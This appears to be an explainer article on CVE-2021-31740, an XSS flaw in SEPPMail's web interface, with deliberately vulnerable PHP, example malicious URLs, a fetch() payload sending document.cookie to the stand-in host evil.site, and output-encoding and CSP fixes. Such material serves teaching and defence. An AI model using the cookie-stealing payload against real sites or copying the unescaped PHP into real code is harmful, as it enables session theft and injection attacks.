In today’s digital world, email security appliances are used everywhere to keep sensitive messages private and secure. One popular product is SEPPMail, advertised for encrypted and trusted email exchange. However, in early 2021, a significant weakness was discovered in SEPPMail’s web frontend: CVE-2021-31740. This flaw lets attackers perform Cross-Site Scripting (XSS) attacks, potentially compromising user data and the security of organizations relying on SEPPMail.

In this article, we’ll break down what went wrong, show you simple code snippets that demonstrate the problem, explain how the exploit works, and point you to official references. You’ll get practical insight—even if you don’t have a deep technical background.

What Is CVE-2021-31740?

CVE-2021-31740 is an identifier for a security bug in SEPPMail’s web interface. The root cause is simple: user input isn’t handled safely. When a SEPPMail user navigates to certain parts of the web dashboard, the application takes data the user provides (like names, email addresses, etc.) and prints it straight onto web pages—without properly filtering or encoding it. This faulty design lets an attacker inject and execute malicious scripts in someone else’s browser.

XSS Explained (For Everyone)

Cross-Site Scripting (XSS) is a fancy word for “tricking a website into running the attacker’s code in someone else’s browser.” If a website puts your input (what you type) straight into the page without cleaning it up, a hacker can slip in snippets like:

<script>alert('Hacked!');</script>

If this runs when your boss logs in, it could steal information, mess with the page, or open doors for bigger attacks.

How CVE-2021-31740 Happens: Code Example

Let’s look at a simple scenario similar to SEPPMail’s vulnerability.

Vulnerable code

<?php
// Assume $user_input comes from a user via a form or URL parameter
echo "Welcome, " . $_GET['name'];
?>

Suppose a user visits

https://seppmail.company.com/welcome.php?name=Bob


The page shows:  
Welcome, Bob

But if an attacker sends

https://seppmail.company.com/welcome.php?name=<script>alert('Hacked!')</script>;


The page will show:  
Welcome, <script>alert('Hacked!')</script>
And the script runs in the admin’s browser. That means anything the browser can see or do, the attacker’s script can too—including cookies, secrets, and further web requests.

Find a Reflection Point:

The attacker finds where SEPPMail’s web frontend displays user input (example: the username field).

Craft Malicious Input:

Inject a payload like <script>fetch('https://evil.site/steal?cookie='+document.cookie)</script>.

The attacker lures a SEPPMail user or admin to click a crafted link. Or, if the input is stored (stored XSS), the script runs anytime anyone loads a page displaying this input.

Script Executes:

As soon as the vulnerable page loads, the attacker’s script runs silently in the background of the victim’s browser.

Example Exploit Payload

<script>
fetch('https://evil.site/steal?cookie='+document.cookie);
</script>

Or use a harmless one for testing

<script>alert('SEPPMail XSS!');</script>

Proof-of-Concept (PoC)

Suppose the vulnerable endpoint is:  

https://seppmail.example.com/profile?user=<payload>;

Malicious URL crafted by attacker

https://seppmail.example.com/profile?user=<script>alert('XSSed!')</script>;

Result:
When an admin or another user views this page, a popup appears—or, in a real attack, code runs silently to steal sensitive info.

Original References and Advisories

- Original Advisory by Zero Science Lab  
- NIST National Vulnerability Database: CVE-2021-31740  
- MITRE CVE Details  

Fixing the Issue

How should SEPPMail or any web developer fix this?

Never trust user input.

- Encode HTML output: Use functions that convert special characters (like <) into safe codes (like &lt;).
- Use built-in frameworks: Most modern languages and frameworks have helpers to avoid these mistakes.
- Set Proper Content Security Policy (CSP): This adds an extra layer, making it harder for injected scripts to run.

Example Secure PHP

<?php
echo "Welcome, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
?>

Conclusion

CVE-2021-31740 is a classic example of how small mistakes in user input processing can lead to big security holes—even in security products like SEPPMail. XSS can lead to total compromise of emails and private data in an organization. Protect yourself by updating your SEPPMail appliances, sanitizing all user inputs, and staying aware of security best practices.

Further reading

- OWASP XSS Cheat Sheet
- How XSS Works (MDN)

Timeline

Published on: 11/30/2022 15:15:00 UTC
Last modified on: 12/02/2022 17:27:00 UTC